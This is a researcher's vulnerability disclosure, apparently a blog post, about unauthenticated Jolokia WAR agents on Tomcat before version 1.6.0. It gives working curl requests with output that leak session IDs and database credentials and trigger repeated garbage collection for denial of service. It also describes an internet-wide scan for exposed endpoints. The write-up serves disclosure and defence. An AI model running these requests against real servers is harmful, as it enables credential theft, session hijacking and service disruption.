Background

Jolokia allows a Java application to embed a RESTful endpoint to read, write and execute JMX operations in the application. Typically, this is deployed as part of a Java web application, and Jolokia provides a number of agents to do this. Often this is done for monitoring purposes, you can query information about the available executors, garbage collection statistics etc.

The popular monitoring solution Check MK even bundles a built-in plugin to query a running Jolokia endpoint and parse the output with very little additional configuration - in fact, we use this at the University of Warwick to monitor all of our web servers:

The problem

Prior to version 1.6.0, the Jolokia WAR agent is insecure by default. In the reference manual the steps that need to be taken to secure the war agent with a username and password are described - this involves extracting the downloaded war file, modifying the web.xml to set up security, and for that user to then be configured in the normal way in the J2EE container.

Unfortunately, in a lot of cases this doesn't happen, and the Jolokia agent is simply deployed as jolokia.war or similar. If Tomcat then serves requests directly or behind a reverse proxy, this then leaves the Jolokia endpoint visible by a reliable URL. If this isn't then secured by a firewall (or similar), the /jolokia endpoint can be left open to the whole Internet without authentication.

For someone who doesn't look very hard, this might not seem like much of a problem as it's only monitoring information; this is very wrong. Tomcat (and other servlet containers) export an enormous amount of information over JMX and Jolokia allows execution of arbitrary commands against these MBeans, which can lead to sensitive information disclosure or a DoS.

Proof of concept

Here, the proof of concept is against an Apache Tomcat 8 servlet container, but could easily be recycled against any other.

This is a clean download of Apache 8.5.31, with a data source added into conf/context.xml (just to show we can exfiltrate the configuration) and a Jolokia 1.5.0 WAR agent downloaded from the website and placed in webapps/jolokia.war.

Basic information disclosure

Information about the application server the application is running on, the Jolokia version and basic information about deployed applications is queryable:

$ curl -s 'http://localhost:8080/jolokia/' | python -m json.tool
{
    "request": {
        "type": "version"
    },
    "status": 200,
    "timestamp": 1527277376,
    "value": {
        "agent": "1.5.0",
        "config": {
            "agentContext": "/jolokia",
            "agentId": "137.205.194.132-6728-32129a69-servlet",
            "agentType": "servlet",
            "allowDnsReverseLookup": "true",
            "allowErrorDetails": "true",
            "authIgnoreCerts": "false",
            "authMode": "basic",
            "canonicalNaming": "true",
            "debug": "false",
            "debugMaxEntries": "100",
            "detectorOptions": "{}",
            "discoveryEnabled": "false",
            "dispatcherClasses": "org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher",
            "historyMaxEntries": "10",
            "includeStackTrace": "true",
            "listenForHttpService": "true",
            "maxCollectionSize": "0",
            "maxDepth": "15",
            "maxObjects": "0",
            "mimeType": "text/plain",
            "policyLocation": "classpath:/jolokia-access.xml",
            "realm": "jolokia",
            "serializeException": "false",
            "streaming": "true",
            "useRestrictorService": "false"
        },
        "info": {
            "product": "tomcat",
            "vendor": "Apache",
            "version": "8.5.31"
        },
        "protocol": "7.2"
    }
}

Here, we can see that a root application along with Jolokia and the manager application are deployed:

$ curl -s 'http://localhost:8080/jolokia/read/Catalina:type=Manager,context=*,host=localhost' | python -m json.tool
{
    "request": {
        "mbean": "Catalina:context=*,host=localhost,type=Manager",
        "type": "read"
    },
    "status": 200,
    "timestamp": 1527277515,
    "value": {
        "Catalina:context=/,host=localhost,type=Manager": {
            "activeSessions": 0,
            "className": "org.apache.catalina.session.StandardManager",
            "duplicates": 0,
            "expiredSessions": 0,
            "jvmRoute": null,
            "maxActive": 0,
            "maxActiveSessions": -1,
            "modelerType": "org.apache.catalina.session.StandardManager",
            "name": "StandardManager",
            "pathname": "SESSIONS.ser",
            "processExpiresFrequency": 6,
            "processingTime": 0,
            "rejectedSessions": 0,
            "secureRandomAlgorithm": "SHA1PRNG",
            "secureRandomClass": null,
            "secureRandomProvider": null,
            "sessionAttributeNameFilter": null,
            "sessionAttributeValueClassNameFilter": null,
            "sessionAverageAliveTime": 0,
            "sessionCounter": 0,
            "sessionCreateRate": 0,
            "sessionExpireRate": 0,
            "sessionMaxAliveTime": 0,
            "stateName": "STARTED",
            "warnOnSessionAttributeFilterFailure": false
        },
        "Catalina:context=/jolokia,host=localhost,type=Manager": {
            "activeSessions": 0,
            "className": "org.apache.catalina.session.StandardManager",
            "duplicates": 0,
            "expiredSessions": 0,
            "jvmRoute": null,
            "maxActive": 0,
            "maxActiveSessions": -1,
            "modelerType": "org.apache.catalina.session.StandardManager",
            "name": "StandardManager",
            "pathname": "SESSIONS.ser",
            "processExpiresFrequency": 6,
            "processingTime": 0,
            "rejectedSessions": 0,
            "secureRandomAlgorithm": "SHA1PRNG",
            "secureRandomClass": null,
            "secureRandomProvider": null,
            "sessionAttributeNameFilter": null,
            "sessionAttributeValueClassNameFilter": null,
            "sessionAverageAliveTime": 0,
            "sessionCounter": 0,
            "sessionCreateRate": 0,
            "sessionExpireRate": 0,
            "sessionMaxAliveTime": 0,
            "stateName": "STARTED",
            "warnOnSessionAttributeFilterFailure": false
        },
        "Catalina:context=/manager,host=localhost,type=Manager": {
            "activeSessions": 0,
            "className": "org.apache.catalina.session.StandardManager",
            "duplicates": 0,
            "expiredSessions": 0,
            "jvmRoute": null,
            "maxActive": 0,
            "maxActiveSessions": -1,
            "modelerType": "org.apache.catalina.session.StandardManager",
            "name": "StandardManager",
            "pathname": "SESSIONS.ser",
            "processExpiresFrequency": 6,
            "processingTime": 0,
            "rejectedSessions": 0,
            "secureRandomAlgorithm": "SHA1PRNG",
            "secureRandomClass": null,
            "secureRandomProvider": null,
            "sessionAttributeNameFilter": null,
            "sessionAttributeValueClassNameFilter": null,
            "sessionAverageAliveTime": 0,
            "sessionCounter": 0,
            "sessionCreateRate": 0,
            "sessionExpireRate": 0,
            "sessionMaxAliveTime": 0,
            "stateName": "STARTED",
            "warnOnSessionAttributeFilterFailure": false
        }
    }
}

Disclosure of session IDs

The Manager MBean has a listSessionIds method that we can execute to get a list of space-separated session IDs that we may be able to use to hijack a user's session.

Here, we specifically target the /manager app as the default app doesn't use sessions (but most deployed web apps do):

$ curl -s -H'Content-Type: application/json' --data '{"type":"EXEC","mbean":"Catalina:context=/manager,host=localhost,type=Manager","operation":"listSessionIds"}' 'http://localhost:8080/jolokia/' | python -m json.tool
{
    "request": {
        "mbean": "Catalina:context=/manager,host=localhost,type=Manager",
        "operation": "listSessionIds",
        "type": "exec"
    },
    "status": 200,
    "timestamp": 1527277922,
    "value": "8E9C3986C1CE0D563AFB98B3DD0FF9E9 "
}

In this particular instance the manager attack isn't vulnerable to session replay with just the session ID because it's protected by HTTP Basic Auth.

Disclosure of database details

Tomcat exports DataSources declared in context.xml as MBeans by default, so you can query them and get their attributes:

$ curl -s 'http://localhost:8080/jolokia/read/Catalina:type=DataSource,name=*,*/url,username,password' | python -m json.tool
{
    "request": {
        "attribute": [
            "url",
            "username",
            "password"
        ],
        "mbean": "Catalina:name=*,type=DataSource,*",
        "type": "read"
    },
    "status": 200,
    "timestamp": 1527278128,
    "value": {
        "Catalina:class=javax.sql.DataSource,context=/,host=localhost,name=\"jdbc/FIMDS\",type=DataSource": {
            "password": "jsdidsjidsj",
            "url": "jdbc:jtds:sqlserver://identity.myorg.org:1433;useLOBs=false",
            "username": "sqlsrvrv"
        },
        "Catalina:class=javax.sql.DataSource,context=/,host=localhost,name=\"jdbc/SITSDS\",type=DataSource": {
            "password": "qawsedfrtg",
            "url": "jdbc:oracle:thin:@//racdb.myorg.org:1521/racdb.myorg.org",
            "username": "dbaccess"
        }
    }
}

You could re-purpose these as part of a network attack to exfiltrate information from the database.

Denial of service

Some of the Jolokia instances that I found didn't accept POSTs as there was some protection at the domain level (though I suspect that could've been worked around), but you can still execute expensive commands with a GET; here we can trigger a full GC simply by visiting a URL - we could call that endlessly to suck up CPU and cause a DoS. In production environments with huge heap sizes, these GCs are likely to lead to long pauses.

$ curl -s 'http://localhost:8080/jolokia/exec/java.lang:type=Memory/gc' | python -m json.tool
{
    "request": {
        "mbean": "java.lang:type=Memory",
        "operation": "gc",
        "type": "exec"
    },
    "status": 200,
    "timestamp": 1527278357,
    "value": null
}

Scale

I wrote a small program to scan the Alexa top 1 million websites and to check for an unsecured /jolokia endpoint. If found, this discloses the servlet container and version.

For each domain, the following URLs were attempted:

• http://$DOMAIN$/jolokia
• http://www.$DOMAIN$/jolokia
• http://$DOMAIN$:8080/jolokia
• https://$DOMAIN$/jolokia
• https://www.$DOMAIN$/jolokia
• https://$DOMAIN$:8443/jolokia

This was just a quick check to get a feel of the scale, rather than any attempt to be exhaustive.

Out of the 1,000,000 domains, the results were:

A 401 response would typically indicate that connections to Jolokia were secured behind some kind of authentication and may still be exploitable if the credentials are weak.

Response

The vast majority of the affected domains were able to close the vulnerability quickly, though contact with the affected companies was, at best, patchy. I plan to comment on my experience of disclosure in a separate post - this is the first time I've gone through such an exercise and it was quite a stressful one.

On 25th June 2018 version 1.6.0 of Jolokia was released, which requires a user with the jolokia role to be configured with the WAR agent. From my perspective, I consider this to fix the vulnerability as users must explicitly opt-in to using an insecure version of the agent.

Timeline